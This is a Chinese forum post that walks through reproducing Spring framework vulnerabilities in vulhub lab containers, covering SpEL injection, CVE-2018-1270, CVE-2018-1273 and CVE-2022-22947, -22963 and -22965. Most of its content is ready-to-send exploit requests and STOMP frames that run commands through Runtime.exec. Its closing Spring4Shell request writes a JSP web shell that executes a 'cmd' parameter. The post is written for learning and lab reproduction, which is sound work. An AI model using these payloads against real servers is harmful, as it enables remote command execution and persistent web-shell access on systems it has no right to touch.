ToB企服应用市场:ToB评测及商务社交产业平台

标题: Spring框架漏洞总结 [打印本页]

作者: 宝塔山    时间: 2024-9-17 08:31
标题: Spring框架漏洞总结
目录

以下漏洞复现大部分来自vulhub,本篇文章主要是为了熟悉和明白常见的漏洞的攻击流程,当然也有我自己的一些原明白释。
SpEL注入攻击

Spring H2 Database Console未授权访问

Spring Security OAuth2长途命令执行漏洞(CVE-2016-4977)

Spring WebFlow长途代码执行漏洞(CVE-2017-4971)

Spring Data Rest长途命令执行漏洞(CVE-2017-8046)

放包前查察容器内是否存在该文件:
docker exec -it 3b2e846b1012 ls /tmp

放包返回400

返回容器查察就被创建出来了

Spring Messaging长途命令执行漏洞(CVE-2018-1270)

spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。
提取大佬的总结
说白了就是先订阅,这个动作就是建立好连接了,反面都必须要使用这个连接,然后通过这个连接去触发你在订阅的时候插入的恶意payload,但是这个触发是按照真真相况来看的,也就说你必要找到建立连接后哪个可以进行send动作的路由,这个路由是开发者在开发的时候定义的,所以你必要找到后才能进行发送。
如图所示:先connect 然后去send,就通过这种方式来攻击。
(ps:本人在抓包的时候努力建立同一个连接来进行发送,但是就是无法通过抓包形式来建立好连接,所以真的就只能使用poc脚本来攻击了)

  1. "SUBSCRIBE\nselector:T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')\nid:sub-0\ndestination:/topic/greetings\n\n\u0000"
复制代码

3.如果你的建立乐成了,也就是说网页中的disconnect可以点击的话代表你已经乐成连接了,然后点击send发送抓包。
(这里无须纠结为什么是app/hello,因为是demo让你复现的,真真相况的话你自己点击下出现发送send的数据包就抓下来即可,实在你点击发送就已经是攻击成了,主要是你在建立连接的时候,是否乐成插入payload进去)
  1. ["SEND\ncontent-length:16\ndestination:/app/hello\n\n{"name":"aaaaa"}\u0000"]
复制代码

如果你查察容器下/tmp/有success就代表攻击乐成了。
由于本人这种方式没有复现乐成就使用攻击脚本来复现,脚本能够帮助你一直使用这个连接然后就不消抓包放包等建立连接了。
下载脚本:exploit.py
如果你是使用vulhub靶场来复现的只必要修改56行即可(如果不是就自行找到订阅和send)

先查察确认靶场内不存在success文件(因为攻击命令就是创建success文件)

然后直接运行py脚本,
这里我修改了一下脚本,将发送的data数据打印出来了,攻击过程更加清楚。
可以看到就是实打实的三步骤:
1.先建立连接
2.发送订阅,订阅消息中参加了SpEL恶意代码
3.发送消息,触发SpEL解析

查察容器发现已经乐成创建文件

Spring Data Commons长途命令执行漏洞(CVE-2018-1273)

  1. POST /users?page=&size=5 HTTP/1.1
  2. Host: localhost:8080
  3. Connection: keep-alive
  4. Content-Length: 124
  5. Pragma: no-cache
  6. Cache-Control: no-cache
  7. Origin: http://localhost:8080
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/x-www-form-urlencoded
  10. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
  11. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  12. Referer: http://localhost:8080/users?page=0&size=5
  13. Accept-Encoding: gzip, deflate, br
  14. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  15. username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
复制代码

发包之前先确认一下容器内不存在/tmp/success文件,因为我们攻击的代码就行创建/tmp/success文件

然后发包,返回500

查察文件确认攻击乐成

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

  1. POST /actuator/gateway/routes/hacktest HTTP/1.1
  2. Host: localhost:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close
  8. Content-Type: application/json
  9. Content-Length: 329
  10. {
  11.   "id": "hacktest",
  12.   "filters": [{
  13.     "name": "AddResponseHeader",
  14.     "args": {
  15.       "name": "Result",
  16.       "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
  17.     }
  18.   }],
  19.   "uri": "http://example.com"
  20. }
复制代码

2.刷新添加路由且执行SpEL
  1. POST /actuator/gateway/refresh HTTP/1.1
  2. Host: localhost:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close
  8. Content-Type: application/x-www-form-urlencoded
  9. Content-Length: 0
复制代码

3.查察执行结果
  1. GET /actuator/gateway/routes/hacktest HTTP/1.1
  2. Host: localhost:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close
  8. Content-Type: application/x-www-form-urlencoded
  9. Content-Length: 0
复制代码

Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)

  1. POST /functionRouter HTTP/1.1
  2. Host: localhost:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close
  8. spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
  9. Content-Type: text/plain
  10. Content-Length: 4
  11. test
复制代码

再次查察就可以发现文件创建乐成

SpEL注入相干漏洞到此结束。
下面就不是有关SpEL的一些Spring漏洞了。
Spring Framework 长途命令执行漏洞(CVE-2022-22965)

[code]GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closesuffix: %>//c1: Runtimec2:




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4